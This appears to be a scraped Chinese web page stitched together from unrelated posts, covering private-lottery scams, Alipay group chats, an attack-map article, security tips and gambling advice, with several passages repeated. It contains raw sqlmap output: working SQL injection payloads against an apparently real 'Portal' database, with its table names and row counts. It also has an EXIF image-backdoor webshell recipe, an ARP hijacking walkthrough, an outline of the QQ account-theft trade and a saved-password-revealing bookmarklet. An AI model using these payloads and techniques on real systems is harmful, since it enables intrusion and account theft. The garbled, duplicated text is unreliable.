　　这就不难理解，为啥现在满天飞的qq消息在宣传私彩日赚千元了。私彩确实可以日赚千元，但是赚钱的都是 *** 们，赚的钱正是从这些私彩购买者身上赚来的。如果你真的听信日赚千元而去买时时彩私彩的话，那么你真的是去送钱的的。但是对于一般的普通的购彩者来说，私彩的吸引力真的很大，奖金是普通彩票的好多倍啊。

　　我身边有时时彩的操作者，切确来说，是我堂弟。

　　你很难想象，他买时时彩入迷，每天晚上的操作额高达几万元。我曾经多次劝说过他，但是他就沉浸在买私彩赚百万元的梦境之中。中间曾经亏过很多钱，至于后来，我也没多问。毕竟路是他选的，再坏的后果也得承担。况且不真实的吃点亏，他可能不会自拔的。

　　他曾告诉我，他的上级 *** 好几次的请他吃饭，给他返利。这个是当然的，羊毛出在羊身上，有这么个下线，是谁都该梦中笑醒了。

　　至于时时彩有多火爆，我们来看看相关qq群，看到没，都是2000人的大群。

　　错过了微信，现在还有什么资格，再让眼前这块肥肉“支付宝9.0”错过，7月初除了众人知晓的台风“灿鸿”、“莲花”登陆，而7月10日，刷爆朋友圈的无疑是“支付宝9.0”横穿出世，做为嗅觉敏感的 *** 从业人才，似乎发现了商机，犹如哥伦布发展新大陆，纷纷在大批量的建群。

　　而做为“支付宝9.0”的新浪潮，纵然有很多的朋友还在迷茫着，观望着，等待的这一个风口的离去，为了给大家福利，经自己苦夜研究，今天在之一时间内分享给大家。

　　一、支付宝9.0，为什么是新浪潮、新趋势、新风口。

　　支付宝已成为手机上的必备软件，虽然暂时没有微信用户数量哪么多，但他拥有本身的特色，实名制，就这一点，目标为止，任何一家都难以超越，而这次支付宝推出由单纯的只能进行付款、理财，而升级成为颠覆性的创新，支付宝9.0新增可聊天、可建群，支付宝9.0走的是在场景中完成支付的思路，这是很正确的，显得更加人性化，而新版除了强化IM即时通信功能之外，还增加了其他很多细节，从中可以体会到支付宝的意图，不做单纯的支付工具。

　　支付宝和微信的截图(貌似亲兄弟，又胜似亲兄弟，亲，你怎么看)

　　

　　二、支付宝如何建群(图文并茂)

　　之一步：下载最新支付宝版本。(支付宝9.0); 第二步：点击“支付宝”，并登陆支付宝;

　　

　　第三步：登陆成功后，找到下面(朋友)，并点击进去;

　　第四步：点击右上角+，发起群聊;

　　

　　第五步：立即建群，根据自己所需进行建群。群分为：经费群、吃货群、活动群、娱乐群。就拿经费群举例：点击经费群，选择所需进群的群友，选择之后，点击确定，设置进群金额。(做营销的朋友看自己所定位的圈子，进行合理分配。)

　　30元=100元话费卡是商机还是骗子？

　　小风在好友里看到很多个都是低价卖100元充值卡，之一反应就是有猫腻，如果是真的，那卖的人为什么不直接拿去充支付宝，还会拿出来卖吗？

　　大家如果有什么需要我鉴定是不是假的，可以联系我，免费

　　当提到黑客攻击的时候，大部分人脑海里浮现的应该都是滚乱码的电脑屏幕，一场没有硝烟的战争。

　　而雷锋网今天要介绍的这个网站 Norse Attack Map，能够让你直观地“观战”——世界地图上不时闪烁亮点，发射光波，攻击其他地域。每一次这样的闪烁表明某个地区施行了一次攻击。

　　各种颜色的射线交错，简直是目不暇接。从统计数据上看，中国是更大的攻击源，这从地图上也可以很明显地看到，原来第二名是美国，在半小时后变成了土耳其，西班牙尾随其后。而美国则成为了更大的被攻击源，后面紧跟着的是一个西非海上名为“Mil/Gov”的神秘地点，它在网上的资料非常有限，你只能了解到，这是一个美国人建造的庞大的海底数据中心。

　　副总裁 Jeff Harrell 在接受 The Creator's Project 的采访时表示，公司在全球 50 多个国家放置了 800 多万个攻击传感器，伪装成容易受到攻击的设备，比如 ATM 机、智能机、电脑。一旦黑客攻击该传感器，系统便会将攻击信息在网站上显示出来。虽然已经看得雷锋网小编眼花缭乱，但实际上这只是沧海一粟，Norse Attack Map 暂时还无法监控所有的攻击情况，网站上显示的攻击次数还不到真实数量的千分之一。

　　听起来挺惊悚不是？不过，在网站上看看“世界大战”过过眼瘾，还是蛮带感的呢。

　　当提到黑客攻击的时候，大部分人脑海里浮现的应该都是滚乱码的电脑屏幕，一场没有硝烟的战争。

　　而雷锋网今天要介绍的这个网站 Norse Attack Map，能够让你直观地“观战”——世界地图上不时闪烁亮点，发射光波，攻击其他地域。每一次这样的闪烁表明某个地区施行了一次攻击。

　　各种颜色的射线交错，简直是目不暇接。从统计数据上看，中国是更大的攻击源，这从地图上也可以很明显地看到，原来第二名是美国，在半小时后变成了土耳其，西班牙尾随其后。而美国则成为了更大的被攻击源，后面紧跟着的是一个西非海上名为“Mil/Gov”的神秘地点，它在网上的资料非常有限，你只能了解到，这是一个美国人建造的庞大的海底数据中心。

　　副总裁 Jeff Harrell 在接受 The Creator's Project 的采访时表示，公司在全球 50 多个国家放置了 800 多万个攻击传感器，伪装成容易受到攻击的设备，比如 ATM 机、智能机、电脑。一旦黑客攻击该传感器，系统便会将攻击信息在网站上显示出来。虽然已经看得雷锋网小编眼花缭乱，但实际上这只是沧海一粟，Norse Attack Map 暂时还无法监控所有的攻击情况，网站上显示的攻击次数还不到真实数量的千分之一。

　　听起来挺惊悚不是？不过，在网站上看看“世界大战”过过眼瘾，还是蛮带感的呢。

　　code 区域

　　sqlmap identified the following injection points with a total of 205 HTTP(s) requests:

　　---

　　Place: GET

　　Parameter: id

　　Type: boolean-based blind

　　Title: AND boolean-based blind - WHERE or HAVING clause

　　Payload: id=LBQG1120572' AND 6594=6594 AND 'vkEP'='vkEP

　　Type: error-based

　　Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

　　Payload: id=LBQG1120572' AND (SELECT 3565 FROM(SELECT COUNT(*),CONCAT(0x7162707971,(SELECT (CASE WHEN (3565=3565) THEN 1 ELSE 0 END)),0x7173637671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'LXuR'='LXuR

　　Type: UNION query

　　Title: MySQL UNION query (NULL) - 60 columns

　　Payload: id=-6386' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162707971,0x6f6a724865474f786170,0x7173637671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

　　Type: AND/OR time-based blind

　　Title: MySQL > 5.0.11 OR time-based blind

　　Payload: id=-8719' OR 5082=SLEEP(5) AND 'GCJr'='GCJr

　　---

　　web application technology: Nginx, PHP 5.3.10

　　back-end DBMS: MySQL 5.0

　　current database: 'Portal'

　　current user is DBA: False

　　available databases [3]:

　　[*] information_schema

　　[*] Portal

　　[*] test

　　Database: Portal

　　[193 tables]

　　+---------------------------------------+

　　| FJtoCRI_imgUP |

　　| FJtoCRI_mv |

　　| KS_RES |

　　| RES_KNOWLEDGE_XLZG |

　　| SHARE_KNOWLEDGE_STRUCTURE |

　　| 17_10_mpeg_list |

　　| 17_1_mpeg_list |

　　| 17_2_mpeg_list |

　　| 17_3_mpeg_list |

　　| 17_4_mpeg_list |

　　| 17_5_mpeg_list |

　　| 17_6_mpeg_list |

　　| 17_7_mpeg_list |

　　| 17_8_mpeg_list |

　　| 17_9_mpeg_list |

　　| language |

　　| a_log |

　　| a_pass_err |

　　| a_pass_err1 |

　　| ad_channelad |

　　| ad_policy |

　　| ad_policymovie |

　　| area_info |

　　| area_mpeg_relation |

　　| business_application |

　　| business_img |

　　| business_menu |

　　| business_property |

　　| business_server_info |

　　| business_use_type |

　　| channel_list |

　　| channel_list_content |

　　| channel_teleplay |

　　| check_config |

　　| dhcp_config |

　　| diskmpeg_unusemovie |

　　| diskmpeg_unusempeg |

　　| distributespeed |

　　| dns_template |

　　| genre |

　　| image |

　　| image_config |

　　| image_preview |

　　| image_purpose |

　　| imgtype |

　　| iptable |

　　| key_info |

　　| layout_image |

　　| litv_channel |

　　| litv_program |

　　| logo |

　　| logo_terminalversion_bussiness |

　　| lvs_config |

　　| menu_image |

　　| menu_movie |

　　| menu_mpeg |

　　| menu_mpeg_tempt |

　　| menu_teleplay |

　　| movieType |

　　| movie_appraisal |

　　| movie_down |

　　| movie_down_path |

　　| movies |

　　| movies_segment |

　　| moviesparam |

　　| mpeg_list |

　　| mpeg_list_contrast |

　　| mpeg_list_garbage |

　　| mpeg_list_tmp |

　　| mpeg_list_vcominfodel |

　　| mpeg_subsection |

　　| mtmp |

　　| muxtype |

　　| near_area_list |

　　| net_mpeg_list_contrast |

　　| new_update_movie |

　　| orders |

　　| origin |

　　| portal_status |

　　| power_ad |

　　| power_ad_img |

　　| power_ad_terminalversion_bussiness |

　　| private_elem |

　　| private_group_info |

　　| private_menu |

　　| product_info |

　　| product_service_info |

　　| program_format |

　　| rating |

　　| rec_download_info |

　　| rec_server |

　　| record_programme |

　　| server_channel_list |

　　| server_channel_list_tmp |

　　| service_movie |

　　| share |

　　| share_server |

　　| show_kind |

　　| show_menu_type |

　　| squid_server |

　　| standard_layout |

　　| standard_layout_element |

　　| standard_menu |

　　| standard_menu_servicecode |

　　| stb_login_record |

　　| stb_update_log |

　　| stb_update_plan |

　　| stb_update_result |

　　| stb_update_verinfo |

　　| stb_upgrade_server |

　　| sub_product |

　　| sub_status_rec |

　　| sub_terminal |

　　| sub_update_check |

　　| sub_welcome_info |

　　| subscriber |

　　| subscriber_area_bind |

　　| subscriber_mac_bind |

　　| subscriber_update_password |

　　| sys_data_change |

　　| sys_data_change_task |

　　| sys_data_sync_plan |

　　| sys_log |

　　| sys_mem_server |

　　| sys_para |

　　| teleplay |

　　| teleplayType |

　　| teleplay_appraisal |

　　| teleplay_movie |

　　| teleplayparam |

　　| temp_imagely |

　　| terminal_type |

　　| terminal_version |

　　| tmp13745_1331714671_100118401 |

　　| tmp14769_1333095596_1304181233 |

　　| tmp15445_1339150102_1583395861 |

　　| tmp15815_1339985671_1433755063 |

　　| tmp18236_1354004741_954412442 |

　　| tmp22971_1339987542_1501512556 |

　　| tmp22971_1339987917_2036377457 |

　　| tmp24367_1346666299_566833485 |

　　| tmp24384_1339150528_868540780 |

　　| tmp24889_1339150553_1857535896 |

　　| tmp24988_1328064193_2079492051 |

　　| tmp26065_1340099129_1194820177 |

　　| tmp26065_1340099480_716882780 |

　　| tmp415_1375412218_383871281 |

　　| tmp415_1375412226_903953738 |

　　| tmp415_1375412227_2053835275 |

　　| tmp415_1375412230_825013410 |

　　| tmp415_1375412233_2018101676 |

　　| tmp415_1375412236_316861279 |

　　| tmp415_1375412237_626735183 |

　　| tmp415_1375412237_97842698 |

　　| tmp415_1375412239_1049705866 |

　　| tmp415_1375412239_245650000 |

　　| tmp415_1375412239_570577339 |

　　| tmp415_1375412240_751796636 |

　　| tmp415_1375412241_1385265633 |

　　| tmp4769_1357029751_1253732955 |

　　| tmp4769_1357029753_84902856 |

　　| tmp4769_1357029757_2071240884 |

　　| tmp4769_1357029761_1926550523 |

　　| tmp4769_1357029765_1700742570 |

　　| tmp4769_1357029766_196773747 |

　　| tmp4769_1357029767_629723364 |

　　| tmp4769_1357029768_874953831 |

　　| tmp4769_1357029769_21601231 |

　　| tmp4769_1357029769_242942854 |

　　| tmp4769_1357029770_1237987098 |

　　| tmp4769_1357029772_2007113618 |

　　| tmp5389_1375412614_1278048970 |

　　| tmp5389_1375412622_1064652119 |

　　| tmp5389_1375412627_310855987 |

　　| tmp5389_1375412630_1742474077 |

　　| tmp5389_1375412633_196863473 |

　　| tmp5389_1375412634_544531639 |

　　| tmp5389_1375412634_796192373 |

　　| tmp5389_1375412636_501378703 |

　　| tmp5389_1375412636_513621861 |

　　| tmp5389_1375412638_135840808 |

　　| tmp8937_1324284293_1754020834 |

　　| tmp8937_1324284428_1832489117 |

　　| top_menu_pv |

　　| top_movie_pv |

　　| top_teleplay_appraisal |

　　| union_server |

　　| unuse_movies |

　　| update_server_result |

　　| userinfo |

　　| video_format |

　　| video_server |

　　| xlzg_zy |

　　+---------------------------------------+

　　code 区域

　　Database: Portal

　　+------------------------------------+---------+

　　| Table | Entries |

　　+------------------------------------+---------+

　　| sub_terminal | 1142859 |

　　| subscriber | 1142370 |

　　| image_preview | 221940 |

　　| stb_login_record | 183306 |

　　| mpeg_list | 139214 |

　　| image | 134678 |

　　| mpeg_list_contrast | 133416 |

　　| movies | 114600 |

　　| menu_mpeg | 113708 |

　　| sub_product | 105298 |

　　| moviesparam | 97854 |

　　| a_pass_err | 38990 |

　　| virtualmovie | 30881 |

　　| `17_6_mpeg_list` | 29139 |

　　| `17_8_mpeg_list` | 26555 |

　　| `17_1_mpeg_list` | 24876 |

　　| `17_5_mpeg_list` | 23402 |

　　| `17_2_mpeg_list` | 21502 |

　　| mpeg_list_vcominfodel | 19201 |

　　| sub_status_rec | 17943 |

　　| sys_log | 12867 |

　　| subscriber_update_password | 7608 |

　　| tmp26065_1340099129_1194820177 | 5771 |

　　| tmp22971_1339987542_1501512556 | 5770 |

　　| tmp4769_1357029742_2139185939 | 5557 |

　　| standard_menu | 5270 |

　　| FJtoCRI_mv | 5206 |

　　| FJtoCRI_imgUP | 4367 |

　　| menu_image | 3841 |

　　| tmp415_1375412233_2018101676 | 3507 |

　　| tmp5389_1375412630_1742474077 | 3507 |

　　| tmp4769_1357029761_1926550523 | 3480 |

　　| stb_update_log | 3419 |

　　| menu_movie | 3348 |

　　| tmp4769_1357029757_2071240884 | 3317 |

　　| tmp4769_1357029753_84902856 | 3299 |

　　| tmp5389_1375412623_650748860 | 3261 |

　　| standard_menu_servicecode | 2964 |

　　| tmp8937_1324284293_1754020834 | 2899 |

　　| tmp415_1375412230_825013410 | 2848 |

　　| tmp5389_1375412627_310855987 | 2848 |

　　| movie_appraisal | 2837 |

　　| teleplayparam | 2637 |

　　| teleplay | 2335 |

　　| a_log | 1953 |

　　| genre | 1897 |

　　| tmp14769_1333095596_1304181233 | 1815 |

　　| tmp24988_1328064193_2079492051 | 1684 |

　　| tmp24367_1346666299_566833485 | 1664 |

　　| tmp415_1375412240_751796636 | 1631 |

　　| tmp5389_1375412637_2065803658 | 1631 |

　　| tmp4769_1357029770_1237987098 | 1625 |

　　| tmp13745_1331714671_100118401 | 1507 |

　　| tmp26065_1340099480_716882780 | 1476 |

　　| area_info | 1467 |

　　| tmp22971_1339987917_2036377457 | 1418 |

　　| tmp24384_1339150528_868540780 | 1394 |

　　| xlzg_zy | 1249 |

　　| tmp24889_1339150553_1857535896 | 1232 |

　　| private_elem | 1000 |

　　| tmp415_1375412237_97842698 | 994 |

　　| tmp5389_1375412634_796192373 | 994 |

　　| tmp4769_1357029767_629723364 | 993 |

　　| tmp4769_1357029751_1253732955 | 887 |

　　| business_server_info | 883 |

　　| tmp415_1375412226_903953738 | 878 |

　　| tmp5389_1375412622_1064652119 | 878 |

　　| menu_teleplay | 851 |

　　| a_pass_err1 | 849 |

　　| tmp15445_1339150102_1583395861 | 778 |

　　| channel_teleplay | 729 |

　　| server_channel_list | 723 |

　　| top_teleplay_pv | 619 |

　　| standard_layout_element | 545 |

　　| channel_list_content | 404 |

　　| tmp15815_1339985671_1433755063 | 340 |

　　| tmp8937_1324284428_1832489117 | 300 |

　　| business_menu | 264 |

　　| product_service_info | 264 |

　　| tmp415_1375412236_316861279 | 264 |

　　| tmp5389_1375412633_196863473 | 264 |

　　| layout_image | 255 |

　　| tmp4769_1357029765_1700742570 | 249 |

　　| area_mpeg_relation | 132 |

　　| movieType | 126 |

　　| tmp18236_1354004741_954412442 | 109 |

　　| power_ad_terminalversion_bussiness | 102 |

　　| unuse_movies | 98 |

　　| video_format | 96 |

　　| mtmp | 93 |

　　| temp_imagely | 88 |

　　| private_group_info | 78 |

　　| litv_channel | 74 |

　　| show_menu_type | 74 |

　　| tmp415_1375412239_245650000 | 74 |

　　| tmp4769_1357029769_242942854 | 74 |

　　| tmp415_1375412237_626735183 | 72 |

　　| tmp5389_1375412634_544531639 | 72 |

　　| near_area_list | 53 |

　　| standard_layout | 43 |

　　| RES_KNOWLEDGE_XLZG | 39 |

　　| power_ad_img | 33 |

　　| business_property | 30 |

　　| business_application | 29 |

　　| business_img | 24 |

　　| share_server | 23 |

　　| teleplay_appraisal | 23 |

　　| stb_update_verinfo | 21 |

　　| stb_upgrade_server | 18 |

　　| iptable | 14 |

　　| `user` | 13 |

　　| channel_list | 13 |

　　

　　看起来很简单，但写起代码来花了不少时间，给大家研究，仅供大家学习使用，了解网页钓鱼原理（若由于本程序引发任何法律责任，与作者本人无关！）

　　2016年4月3日 补充

　　本来是为了给学员学习网页钓鱼页面的原理的，但发现不少人想用于非法用途，这是违背我们本意的情况，故目前已永久删除本源码。

　　仍想学习钓鱼网站原理的朋友可以学习html表单，本质是一样的，就是一个发送和接收的过程。

　　地址：江苏省昆山市千灯镇软件园B栋10楼 EMAIL：

　　Powered by PHPYun.

　　2、创建任何一个php文件中，以images.php为例，写入以下的代码：

　　3、刚才做的图片后门jpg可以放在别的网站()上，在菜刀里添加一句话后门：

　　 密码为feiji

　　注：这样做的优点是可以随时变换各种后门，缺点是很难获取到高权限。

　　EXIF信息: 是可交换图像文件的缩写，是专门为数码相机的照片设定的，可以记录数码照片的属性信息和拍摄数据。所有的JPEG文件以字符串“0xFFD8”开头，并以字符串“0xFFD9”结束。文件头中有一系列“0xFF”格式的字符串，称为“标识”，用来标记JPEG文件的信息段。“0xFFD8”表示图像信息开始，“0xFFD9”表示图像信息结束，这两个标识后面没有信息，而其它标识紧跟一些信息字符。

　　其实就是这个玩意儿：选定图片右键选择属性，在详细信息里面可以看到（win7）

　　

　　1、php里面有一个函数exif_read_data()，可以取得图片的EXIF信息头，但是需要开启php_exif模块。

　　2、我们是可以随意修改EXIF信息的，例如：

　　2、创建任何一个php文件中，以images.php为例，写入以下的代码：

　　3、刚才做的图片后门jpg可以放在别的网站()上，在菜刀里添加一句话后门：

　　 密码为feiji

　　注：这样做的优点是可以随时变换各种后门，缺点是很难获取到高权限。

　　EXIF信息: 是可交换图像文件的缩写，是专门为数码相机的照片设定的，可以记录数码照片的属性信息和拍摄数据。所有的JPEG文件以字符串“0xFFD8”开头，并以字符串“0xFFD9”结束。文件头中有一系列“0xFF”格式的字符串，称为“标识”，用来标记JPEG文件的信息段。“0xFFD8”表示图像信息开始，“0xFFD9”表示图像信息结束，这两个标识后面没有信息，而其它标识紧跟一些信息字符。

　　其实就是这个玩意儿：选定图片右键选择属性，在详细信息里面可以看到（win7）

　　

　　1、php里面有一个函数exif_read_data()，可以取得图片的EXIF信息头，但是需要开启php_exif模块。

　　2、我们是可以随意修改EXIF信息的，例如：

　　ARP防火墙

　　

　　这里使用VM虚拟机来模拟，注意，如果你使用其他虚拟机来实验的话，要打开网卡的混杂选项。

　　这里两个虚拟机使用VMNET8网卡，VMNET8默认是启用NAT，所以是在一个局域网中。

　　受害者登场

　　受害者正在上贴吧。

　　

　　攻击者登场

　　

　　攻击者装备

　　火狐浏览器+firebug组件

　　cain&able

　　Wireshark

　　GO GO GO！

　　ARP劫持部分。

　　目的，劫持目标流量并让目标正常上网。

　　

　　cain全貌

　　

　　设置一下，多网卡的话这里选择用哪个。

　　

　　点击左上角网卡标志图标，看下图就知道点了左上角哪个。

　　弹出了警告，大体是说启用了什么协议，会影响SSL劫持，本次试验用不到，无视他。

　　上面的东西相信大家都做过（新手除外）小风在2013年也做过小风qq大盗，后来我停止更新了，原因很多种，就不说了。

　　

　　填上掉馅饼？可能吗？要看好网址是不是官网的网址。

　　

　　小风认为盗号发展到现在，已经非常成熟了。

　　=====================================

　　盗号模式：

　　1.购买盗号马，比如上面的金狐2013

　　2.购买浏览器0DAY，用于挂马

　　3.购买 *** 群发器，用于散播

　　3.购买空间，用于收信

　　买：有黑客专门提供马，提供免杀，提供0day

　　卖：洗号，卖号，诈骗，榨干最后一点价值

　　同行竞争：举报对手空间，举报对手木马

　　结果：买家发了，卖家发了，广大 *** 用户哭了。

　　=====================================

　　网站挂马盗号流程。

　　1.购买盗号马，购买空间，配置测试效果

　　2.购买浏览器漏洞，生成网马

　　3.购买高权重（网站日流量大）网站webshell，对网站进行挂马

　　4.等待，收号，洗号和贩卖。

　　客户感觉：

　　正常浏览网站，突然发现打开一个页面好慢，然后出现 *** 密码掉线窗口（ *** 粘虫），要求登录。

　　登录后， *** 号密码被盗。

　　=====================================

　　 *** 群发策略。

　　配置盗号马

　　采用 *** 群发策略“可查看任意 *** 用户摄像头的东西，亲测有效！”

　　收信，洗号。

　　以下为 *** 粘虫截图。

　　

　　以上为个人理解，qq盗号的黑色产业链大概就是这样。

　　关于怎么防范被盗号新手的话注意密码的复杂程度和更新杀软的病毒库，杀软常开着就行高手的话在做每一件事都会很小心，会有自己的防范 *** ，这个我就不说了

　　对于浏览器自动记住的密码，有时我们会经常忘记该怎么办呢？今天小风提供一段代码就能让你一键破解网页上的星号密码，并显示出明文来！并且不用工具就能实现哟！

　　·具体 *** ：

　　1、在下面的“破星号密码”链接上点击右键，选择“添加到收藏夹”，确定保存到你的浏览器收藏栏中。

　　破星号密码

　　2、进入你想要破解自动保存的星号密码的网页，在点击刚刚在之一步中添加的书签，奇迹出现了，你会发现表单中的密码框变为了明文显示，原先的星号密码一目了然的就能看到啦！

　　

　　星号密码已经被破解

　　PS：这个 *** 对于 *** 调用或框架式的登录框密码表单无效，但对于绝大部分的直接登录表单非常有效，支持多种内核的浏览器。大家试试吧，蛮新奇的哦！

　　应用授权会对用户隐私泄露造成较大威胁，特别是在新浪微博授权接口升级之前，应用接口为1.0版本，此时用户授权的应用有非常高的权限，可以随意操 控用户进行发布微博、私信等功能，用户也是怨声载道。而且1.0的授权不会过期，只要用户不取消，授权一直都在，这给用户的账号安全造成了极大的隐患，随 之也泄露了用户的个人隐私。随后新浪升级授权版本为2.0，并且降低了授权的权限，授权的时长也改为一周，一周后应用的授权就会过期，用户需重新输入授权 才能继续使用。而新浪官方的应用如各版本的手机客户端则比其它普通授权有更高的授权，这些官方应用授权到期后会自动更新。开放平台2.0版本的授权机制有 效的降低了用户的账号风险，也降低了微博用户的个人隐私。

　　上面说到的都是用户在微博设置上的操作，其实用户使用微博的习惯也会造成个人隐私的泄露。有些用户经常用手机客户端同步第三方应用，特别是地理位置 信息。新浪微博官方手机客户端就有分享地理位置功能，其它第三方微博客户端也有相同或类似功能，另外就是第三方LBS应用也会造成用户个人隐私的泄露。如 果经常用LBS等应用签到，用户的个人行踪暴露无遗，且长时间使用会导致用户的生活作息时间也都能被推断出来。除了基于地理位置的分享应用，还有基于地理 位置的社交应用，如陌陌等，如果用户通过微博授权通过这类应用，用户的微博信息就会暴露在这些平台上，在附近位置使用该应用的人都能通过该应用查看到用户 的新浪微博。所有，在微博上使用地理位置应用的用户会暴露个人隐私，使用次数越多，时间越长，暴露的信息也就越多。目前微博用户基本可以分为四类：只看不评论和转发、只评论不转发、只转发不自己不发、即转发又自己发。这四类用户涵盖了新浪微博上的大部分用户，只 看不评论不转发泄露的隐私最少，为什么说也会泄露隐私呢，因为别人能看到该用户关注了哪些人，主要是什么内容。如果想深刻了解的话，只需依次关注该用户关 注的人，别人就能看到该用户一天获取了什么讯息，所以这也是会泄露隐私的。只评论不转发相当于用户已经与其他人建立了沟通，此其评论的话题也能表明该话题 对用户有吸引力，挖掘这类用户的隐私可运用社会工程学，或者通过相关的分析应用就能实现。只转不自己发这类用户就比较好吃透，他转发的内容是自己或者他人 感兴趣的内容，要么是自己收藏，要么就是发给他的粉丝，如果转发当中再圈（@）了某人，那么该用户也就暴露了其微博圈子的隐私，只要通过用他圈（@）的人 的微博进行挖掘，用户的隐私也会被找到。如果他没有圈某人，那么研究其转发微博的评论或二次转发，这样就可以清晰的看到该用户与哪些微博用户有过互动，互 动内容是什么，导致其个人隐私被挖掘出来。最后一类即自己发又转发的用户，也是微博上占大部分的用户，他们微博发布和转发的内容被上面提到的 *** 挖掘，个 人隐私更容易被泄露。

　　上面说了这么多，总结出一句话就是：只要你使用微博，你的个人信息就有泄露的危险。如果不相信，用其它的账号去你的微博上看一看，翻一翻，上面有多少你的个人信息和隐私。现在亡羊补牢，为时不晚，希望你看完这篇文章后知道自己该去干嘛了。

　　大家也许经常会遇到这么一种情形，那就是当Word打到一半的时候，此时电脑突然关机了、或者死机。在没办法的情况下也只能关闭软件。但是如果很久没有存档 ，那真的是欲哭无泪。本人碰到这种情况也有多次，不过可以肯定一点的是每次都能找回没保存的文件。所以今天特在此分享给大家一个小秘方。当电脑当机时，Word中来不及存档的档案，他会暂时存放在C:\WINDOWS\Application Data\Microsoft\Word ，所以重开机时只要到上述的地方 ，找个档名为 → ＸＸＸ.asd 之类的这就是你刚辛苦打的文件了，再把副档名改为ＸＸＸ.doc ，就可以找到刚刚辛苦打的文件了。希望可以帮助那些公司小白领挽回一点点的损失哦。

　　24小时接单的黑客先干活后付款

　　存在于我们的生活中却不被我们知道的一种人，他们是谁呢？在我们的认知里黑客是专门做一些不好的事情，攻击网站，破坏别人的系统，给人造成很大的损失，网赌也是很严重的一种现象，经常有人被黑，其实都是平台在控制，下面给大家讲一个平台操纵玩家的事情，看看他们是怎么被黑的。

　　有人在网站平台上上玩的时候，突然会出现被拉黑，然后平白无故的被迫下线，这让我们感到十分困惑，大家一向以为是自己的 *** 原因，但一直登录也没用，登不上去，然后就找到 *** ，压根就没人理睬你。这时，大家才会想到自己是否被黑了，被骗了。

　　事实上，这种状况并不少见，很多人都会遇到这种状况，但他们并不知道，他们仅仅认为是的 *** 速度的原因，但实际上，这并不是由网速形成的。

　　你去问 *** ， *** 总会找一些借口推诿你，其实根本原因是平台在限制你的账号功用，封闭你的收付、收款功用，让你无法进行收款等，在面对这样的现象时，千万不要一直登录你的账号，因为没有作用，平台在操控着呢。

　　首先你要心平气和的和 *** 洽谈，不要和 *** 直接抵触，由于这样很容易上火，你的钱永远也收不回来，可以在不经意间表达一下自己近期的经济状况，然后打出一部分流水来引 *** 的留意，在这种状态下，能够持续提款，但是提款时必定不能大量提款，能够适当提取一些，然后再充值一些，以免引起 *** 的留意。

　　一般状况下，黑客入侵平台部分账号的目的主要是想看看这个账号的盈余状况，如果账户的盈余能力太高，他们就像黑客一样，冻结账户，限制各种功用，然后使客户无法持续盈余。

　　很多客户看到这种现象就会停玩，然后钱就会流向平台。

　　看到这个黑客平台的操纵简直是将玩家控制在手中，你盈利多少钱他们都会知道，所以生活中我们尽量少和这些平台接触。